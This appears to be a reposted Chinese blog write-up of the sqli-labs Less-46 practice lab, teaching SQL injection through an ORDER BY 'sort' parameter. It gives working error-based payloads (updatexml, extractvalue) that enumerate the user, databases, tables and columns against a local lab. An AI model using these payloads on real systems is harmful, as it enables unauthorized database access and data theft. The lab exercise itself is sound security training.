前言: 如何判断是否存在order by之后的注入?
在参数后面加个asc(结果升序显示)、desc(结果降序显示)来观察其顺序是否改变就行了。顺序改变了,所以存在注入。
文章图片
文章图片
接下来我们进行正式注入:
一、
首先我们判断order by后面接的参数有没有影响,尝试注入:left(version(),1)和right(version(),1),发现结果没影响,说明后面参数随意。这里我们解释一下这两个函数:
1)
left()函数是一个字符串函数,它返回具有指定长度的字符串的左边部分。
left(str,length);
left()函数接受两个参数:
str是要提取子字符串的字符串。
length是一个正整数,指定将从左边返回的字符数。
2)
right函数与left一样在这里就不多说了。
3)构造playload有三种形式:
① 直接在sort的参数里注入,如:sort=(select username from users limit 0,1)–+,此时将会显示当前表的内容
这里要注意不论我们注入任何查询,结果能显示的基本都是有限的,我们无法查询到我们查询的信息,例如这里我们注入:sort=(select group_concat(email_id) from emails)–+,结果依旧是只能看当前表的内容。
所以这里就是相当于一种只有通过盲注才能获取到信息的状态,于是对于这种order by后的注入我们一般使用盲注,这里我们使用报错注入(当然其他盲注也都可以尝试):sort= (updatexml (1, concat (0x7e,(select database()),0x7e),1))–+
② 使用一些函数,如rand()等,例如:sort=rand(updatexml(1,concat(0x7e,(select database()),0x7e),1))–+,结果一样,就不赘述了。
③ 在后面加and,再加入其他语句,例如:sort=1 and updatexml (1,concat (0x7e, (select database()),0x7e),1)–+,结果也一样。
--------------------- !
二、
参数没有影响之后,我们进行注入
1)直接在sort的参数里注入:
http://127.0.0.1/sqli-labs-master/Less-46/?sort=(select username from users )--+
在注入的时候我们出现了这种情况,我们发现回显的信息是有限制的。也就是说我们在查询其他信息的时候可能查询不到。
文章图片
我们换用一下方式:
http://127.0.0.1/sqli-labs-master/Less-46/?sort=(select username from users limit 0,1)--+
文章图片
因为我们有些信息是不能查到的,显示的信息有限。所以在这里我们需要应用盲注,比如报错注入、延时注入、等等。
http://127.0.0.1/sqli-labs-master/Less-46/?sort=(extractvalue(1,concat(0x3a,(select user()),0x3a)))–+
【sql|sql-lib之order by 注入】
文章图片
二、
找关键数据库,由于回显示的信息不能太多所以我们只能运用limit
http://127.0.0.1/sqli-labs-master/Less-46/?sort=(extractvalue(1,concat(0x3a,(select schema_name from information_schema.schemata limit 1,1),0x3a)))–+
文章图片
找关键的表
http://127.0.0.1/sqli-labs-master/Less-46/?sort=(extractvalue(1,concat(0x3a,(select table_name from information_schema.tables limit 1,1),0x3a)))–+
文章图片
找关键的列
http://127.0.0.1/sqli-labs-master/Less-46/?sort=(extractvalue(1,concat(0x3a,(select column_name from information_schema.columns limit 1,1),0x3a)))–+
文章图片
至此,注入结束。
推荐阅读
- MySQL|创建数据库表及修改删除数据表字段
- mysql|mysql oder by 注入_orderby 注入
- Java|JAVA+MYSQL 实现学生信息管理系统
- MySQL|【MySQL系列】- LIKE查询 以%开头一定会让索引失效吗
- sql|达梦SQL优化经验
- sql|达梦数据库sql优化
- sql|达梦sql优化实践5
- sql|达梦sql优化实践6
- 达梦数据库|达梦SQL调优